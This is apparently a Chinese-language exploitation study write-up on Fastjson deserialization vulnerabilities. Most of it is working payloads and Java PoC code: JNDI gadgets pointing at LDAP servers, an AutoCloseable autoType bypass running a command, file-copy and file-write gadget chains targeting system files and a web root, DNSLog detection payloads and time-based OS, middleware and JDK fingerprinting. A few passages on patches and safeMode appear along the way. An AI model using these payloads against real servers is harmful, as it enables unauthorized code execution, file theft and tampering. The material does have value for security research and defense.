<dependency> <groupId>org.apache.ignite</groupId> <artifactId>ignite-core</artifactId> <version>2.8.1</version> </dependency>
|
代码示例:
package org.clown.JNDITest;
import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.parser.ParserConfig;
public class liuqi_banben { public static void main(String[] args) { ParserConfig.getGlobalInstance().setAutoTypeSupport(true); String payload="{\"@type\":\"org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup\", \"jndiNames\":[\"ldap://127.0.0.1:9999/BXcEBBgx\"], \"tm\": {\"$ref\":\"$.tm\"}}"; JSON.parse(payload); } }
|
利用链分析:
根据poc来看看漏洞点
所以就是从jndiNames遍历,然后在getTm方法中触发jndi漏洞,这里的tm属性只有get方法
但是根据他的返回值看起来并不满足我们前面说的触发get方法的特征,这里就涉及到Fastjson的循环引用
循环引用
https://github.com/alibaba/fastjson/wiki/%E5%BE%AA%E7%8E%AF%E5%BC%95%E7%94%A8
fastjson支持循环引用,并且是缺省打开的。
//引用可以自己关闭,关闭后可能导致json数据传输的时候丢失 //全局配置关闭 JSON.DEFAULT_GENERATE_FEATURE |= SerializerFeature.DisableCircularReferenceDetect.getMask(); //非全局关闭 JSON.toJSONString(obj, SerializerFeature.DisableCircularReferenceDetect);
|
语法 |
描述 |
{“$ref”:”$”} |
引用根对象 |
{“$ref”:”@”} |
引用自己 |
{“$ref”:”..”} |
引用父对象 |
{“$ref”:”../..”} |
引用父对象的父对象 |
{“$ref”:”$.members[0].reportTo”} |
基于路径的引用 |
$ref
即循环引用:当一个对象包含另一个对象时,Fastjson就会把该对象解析成引用。引用是通过$ref
标示的。
所以这里poc后面的{“$ref”:”$.tm”}就是基于路径引用,相当于调用了根对象的tm属性,自然就要调用get方法,这里的根对象就是CacheJndiTmLookup
org.apache.shiro.jndi.JndiObjectFactory
需要shiro-core和slf4j-api依赖
{"@type":"org.apache.shiro.jndi.JndiObjectFactory","resourceName":"ldap://127.0.0.1:9999/xCxXLJwZ","instance":{"$ref":"$.instance"}}
|
代码示例:
package org.clown.JNDITest;
import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.parser.ParserConfig;
public class liuqi_banben { public static void main(String[] args) { ParserConfig.getGlobalInstance().setAutoTypeSupport(true); String payload2="{\"@type\":\"org.apache.shiro.jndi.JndiObjectFactory\",\"resourceName\":\"ldap://127.0.0.1:9999/BXcEBBgx\",\"instance\":{\"$ref\":\"$.instance\"}}"; JSON.parse(payload2); } }
|
利用链分析
这里就同理,该类也是只有getInstance方法,然后利用循环引用然后调用到get方法触发jndi漏洞
Fastjson1.2.68
这次是利用expectClass来绕过checkAutoType函数,大体思路如下:
- 先传入某个类,其加载成功后将作为expectClass参数传入checkAutoType()函数;
- 查找expectClass类的子类或实现类,如果存在这样一个子类或实现类其构造方法或setter方法中存在危险操作则可以被攻击利用;
利用条件:
- 利用类必须是expectClass类的子类或实现类,并且不在黑名单中;
这里先展示攻击流程
假设Fastjson服务端存在如下实现AutoCloseable接口类的恶意类VulAutoCloseable:
public class VulAutoCloseable implements AutoCloseable { public VulAutoCloseable(String cmd) { try { Runtime.getRuntime().exec(cmd); } catch (Exception e) { e.printStackTrace(); } }
@Override public void close() throws Exception {
} }
|
poc如下:
{"@type":"java.lang.AutoCloseable","@type":"vul.VulAutoCloseable","cmd":"calc"}
|
import com.alibaba.fastjson.JSON;
public class AutoType_RaoGuo { public static void main(String[] args) { String payload="{\"@type\":\"java.lang.AutoCloseable\",\"@type\":\"org.clown.vul.VulAutoCloseable\",\"cmd\":\"calc\"}"; JSON.parse(payload); } }
|
可以看到没有开启autoTypeSupport也能够成功
直接从checkAutoType函数开始调试
到这里可以直接可以从缓存中获取到AutoCloseable这个类
然后往下直接return了,因为这时候expectClass还是空的
然后传进去AutoCloseable反序列化,继续跟进
到这里获取反序列化器为空,然后typeName为我们的实现类,expectClass传递的是AutoCloseable类,继续跟进checkAutoType函数
到这里expectClassFlag就为true了
最后走到这个地方,expectClassFlag使判断为true,最终进行loadClass
然后往下有对加载的类进行判断,这些都是常见的jndi利用链的类,如果属于这些类或者子类直接抛出异常
往下还有一个加入缓存,然后return,这里还判断了我们的clazz是否为expectClass的子类,所以恶意类必须要继承expectClass
然后就是反序列化触发构造函数弹计算器
不过这里不过get或者set直接构造函数也可以了,在早期版本我试了一下只能默认构造方法,不过如果存在默认构造方法也是优先默认构造方法
实战利用
实战中要去找实际可行的利用类,也就是继承了autoCloaseable类的,主要是寻找关于输入输出流的类来写文件,IntputStream和OutputStream都是实现自AutoCloseable接口的。
寻找gadget的条件可以参考这样:
需要一个通过 set 方法或构造方法指定文件路径的 OutputStream 需要一个通过 set 方法或构造方法传入字节数据的 OutputStream,参数类型必须是byte[]、ByteBuffer、String、char[]其中的一个,并且可以通过 set 方法或构造方法传入一个 OutputStream,最后可以通过 write 方法将传入的字节码 write 到传入的 OutputStream 需要一个通过 set 方法或构造方法传入一个 OutputStream,并且可以通过调用 toString、hashCode、get、set、构造方法 调用传入的 OutputStream 的 close、write 或 flush 方法 以上三个组合在一起就能构造成一个写文件的利用链,我通过扫描了一下 JDK ,找到了符合第一个和第三个条件的类。
|
下面是一些利用payload
复制文件
利用类:org.eclipse.core.internal.localstore.SafeFileOutputStream
利用依赖:
<dependency> <groupId>org.aspectj</groupId> <artifactId>aspectjtools</artifactId> <version>1.9.5</version> </dependency>
|
去看一下SafeFileOutputStream的源码:
该构造函数判断如果targetPath文件不存在且tempPath文件存在,就会把tempPath复制到targetPath中
利用PoC:
{"@type":"java.lang.AutoCloseable", "@type":"org.eclipse.core.internal.localstore.SafeFileOutputStream", "tempPath":"C:/Windows/win.ini", "targetPath":"D:/win.txt"}
|
package org.clown.File_Use;
import com.alibaba.fastjson.JSON;
public class File_Move { public static void main(String[] args) { String payload="{\"@type\":\"java.lang.AutoCloseable\", \"@type\":\"org.eclipse.core.internal.localstore.SafeFileOutputStream\", \"tempPath\":\"C:/Windows/win.ini\", \"targetPath\":\"D:/win.txt\"}"; JSON.parse(payload); } }
|
文件写入
写内容类:com.esotericsoftware.kryo.io.Output
依赖:
<dependency> <groupId>com.esotericsoftware</groupId> <artifactId>kryo</artifactId> <version>4.0.0</version> </dependency>
|
Output类主要用来写内容,它提供了setBuffer()和setOutputStream()两个setter方法可以用来写入输入流,其中buffer参数值是文件内容,outputStream参数值就是前面的SafeFileOutputStream类对象,而要触发写文件操作则需要调用其flush()函数
看一下Output类的源码
所以我们要想办法调用到Output的flush函数
flush函数可以在调用close函数和require函数时触发
然后require函数在write相关函数触发
然后找到JDK的ObjectOutputStream类,其内部类BlockDataOutputStream的构造函数中将OutputStream类型参数赋值给out成员变量,而其setBlockDataMode()函数中调用了drain()函数、drain()函数中又调用了out.write()函数,满足前面的需求
这都咋找的啊😢
然后对于setBlockDataMode()函数的调用,在ObjectOutputStream类的有参构造函数中就存在
但是Fastjson优先获取的是ObjectOutputStream类的无参构造函数,因此只能找ObjectOutputStream的继承类来触发,然后找到只有有参构造函数的ObjectOutputStream继承类:com.sleepycat.bind.serial.SerialOutput,这个类在这个依赖里面
<dependency> <groupId>com.sleepycat</groupId> <artifactId>je</artifactId> <version>5.0.73</version> </dependency>
|
然后这里调用了父类的构造方法,到这里最终满足条件
poc如下,然后也运用了前面的循环引用技巧
{ "stream": { "@type": "java.lang.AutoCloseable", "@type": "org.eclipse.core.internal.localstore.SafeFileOutputStream", "targetPath": "D:/wamp64/www/hacked.txt", "tempPath": "D:/wamp64/www/test.txt" }, "writer": { "@type": "java.lang.AutoCloseable", "@type": "com.esotericsoftware.kryo.io.Output", "buffer": "cHduZWQ=", "outputStream": { "$ref": "$.stream" }, "position": 5 }, "close": { "@type": "java.lang.AutoCloseable", "@type": "com.sleepycat.bind.serial.SerialOutput", "out": { "$ref": "$.writer" } } }
|
但是写入文件有限,有些特殊字符写不了,比如php代码
payload直接抄了,怎么写出来的就不管了(
代码示例:
package org.clown.File_Use;
import com.alibaba.fastjson.JSON;
public class File_Write { public static void main(String[] args) { String payload="{\n" + " \"stream\": {\n" + " \"@type\": \"java.lang.AutoCloseable\",\n" + " \"@type\": \"org.eclipse.core.internal.localstore.SafeFileOutputStream\",\n" + " \"targetPath\": \"D:/hacked.txt\",\n" + " \"tempPath\": \"\"\n" + " },\n" + " \"writer\": {\n" + " \"@type\": \"java.lang.AutoCloseable\",\n" + " \"@type\": \"com.esotericsoftware.kryo.io.Output\",\n" + " \"buffer\": \"cHduZWQ=\",\n" + " \"outputStream\": {\n" + " \"$ref\": \"$.stream\"\n" + " },\n" + " \"position\": 5\n" + " },\n" + " \"close\": {\n" + " \"@type\": \"java.lang.AutoCloseable\",\n" + " \"@type\": \"com.sleepycat.bind.serial.SerialOutput\",\n" + " \"out\": {\n" + " \"$ref\": \"$.writer\"\n" + " }\n" + " }\n" + "}"; JSON.parse(payload); } }
|
buff这里传的是base64之后的数据
这里还看到另一种写文件的payload
{ '@type':"java.lang.AutoCloseable", '@type':'sun.rmi.server.MarshalOutputStream', 'out': { '@type':'java.util.zip.InflaterOutputStream', 'out': { '@type':'java.io.FileOutputStream', 'file':'dst', 'append':false }, 'infl': { 'input':'你的内容的base64编码' }, 'bufLen':1048576 }, 'protocolVersion':1 }
|
补丁分析
额额额该版本之后的补丁又是粗暴的给expectClass多加上一些黑名单
SafeMode
在1.2.68之后的版本,在1.2.68版本中,fastjson增加了safeMode的支持。safeMode打开后,完全禁用autoType。
开启如下:
ParserConfig.getGlobalInstance().setSafeMode(true);
|
开启之后直接完全禁用autoType,即@type
获取是否设置了SafeMode,如果是则直接抛出异常终止运行
Fastjson1.2.80
1.2.68之后新版本将java.lang.Runnable、java.lang.Readable和java.lang.AutoCloseable
加入了黑名单,这里就利用另一个期望类,异常类Throwable
这里就看一下这篇文章就行了:https://mp.weixin.qq.com/s/EXnXCy5NoGIgpFjRGfL3wQ,因为看起来很难有rce的点(主要是懒了不想再写了😢
信息探测
平时用于探测fastjson的一些信息来考虑如何利用,参考文章:https://forum.butian.net/share/2858,https://github.com/W01fh4cker/LearnFastjsonVulnFromZero-Improvement
然后使用safe6Sec师傅的复现环境来做测试:https://github.com/safe6Sec/ShiroAndFastJson
将其中/json路由的代码修改一下方便查看解析结果或者解析报错:
@PostMapping("/json") @ResponseBody public JSONObject parse(@RequestBody String data) { JSONObject jsonObject = new JSONObject(); try { jsonObject.put("status", 0); jsonObject.put("message", String.valueOf(JSON.parse(data))); } catch (Exception e) { jsonObject.put("status", -1); jsonObject.put("error", e.getMessage()); } return jsonObject; }
|
后面直接向/json路由进行post请求即可
版本探测
参考文章:https://github.com/W01fh4cker/LearnFastjsonVulnFromZero-Improvement
具体版本探测
参考文章:https://b1ue.cn/archives/402.html
具体原理是JavaBeanDeserializer 类异常的 message 会把当前 fastjson 的版本号输出,所以需要构造出能令这个类抛出异常的错误即可
这里直接列出文章需要满足的报错条件:
- 当代码使用
JSON.parseObject(json , clazz)
指定期望类的方式去解析 JSON,且 clazz 不能为 fastjson 已设定的大部分类型,如“Hashmap”、“ArrayList”
- 当使用
JSON.parse(json)
不指定期望类的时候可以通过 AutoCloseable 来触发
比如这样:
{"@type":"java.lang.AutoCloseable"
["test":1]
|
探测DNS
参考文章:https://blog.csdn.net/why811/article/details/133679673
DNS探测主要是为了探测是否为fastjson
这里dnslog可以直接用yakit生成
这里纯收集payload复现了,没找到什么分析的文章
{"@type":"java.net.InetAddress","val":"muwoiavfqk.dgrh3.cn"}
|
不过这个gadget在1.2.48禁止了
1.2.68版本结果
笑死yakit的dnslog没记录出来,dnslog平台的可以
各种payload
{"@type":"java.net.Inet4Address","val":"bolvv3.dnslog.cn"} {"@type":"java.net.Inet6Address","val":"bolvv3.dnslog.cn"} {"@type":"java.net.InetSocketAddress"{"address":,"val":"bolvv3.dnslog.cn"}}
{"@type":"com.alibaba.fastjson.JSONObject", {"@type": "java.net.URL", "val":"bolvv3.dnslog.cn"}}""} {{"@type":"java.net.URL","val":"bolvv3.dnslog.cn"}:"aaa"} Set[{"@type":"java.net.URL","val":"bolvv3.dnslog.cn"}] Set[{"@type":"java.net.URL","val":"bolvv3.dnslog.cn"} {{"@type":"java.net.URL","val":"bolvv3.dnslog.cn"}:0
|
这里可能有时候探测出现问题,说type not match,其实原因是,有的开发在使用fastjson解析请求时会使用Spring的@RequestBody注释,告诉解析引擎,我需要的是一个User类对象
最外层一定是数组或者对象,不要加@type,然后将Payload作为其中一个键值,比如:
{ "xxx": {"@type":"java.net.InetAddress","val":"dnslog"} }
|
这样写通常就不会有type not match的
下面的探测是存在fastjson并且可以加载字节码的情况,纯粹记录没有尝试过
操作系统探测
String osName = System.getProperty("os.name").toLowerCase(); System.out.println(osName); if (osName.contains("nix") || osName.contains("nux") || osName.contains("mac")) { Thread.sleep(3000); } else if (osName.contains("win")) { Thread.sleep(6000); } else { Thread.sleep(9000); }
|
中间件探测
Map stackTraces = Thread.getAllStackTraces(); for (Map.Entry entry : stackTraces.entrySet()) { StackTraceElement[] stackTraceElements = entry.getValue(); for (StackTraceElement element : stackTraceElements) {
if (element.getClassName().contains("org.apache.catalina.core")) { Thread.sleep(5000); return; } } }
|
探测JDK版本
String javaVersion = System.getProperty("java.version");
int majorVersion = Integer.parseInt(javaVersion.split("\\.")[1]);
switch (majorVersion) { case 5: Thread.sleep(1000); break; case 6: Thread.sleep(2000); break; case 7: Thread.sleep(3000); break; case 8: Thread.sleep(4000); break; default: Thread.sleep(5000); break;
|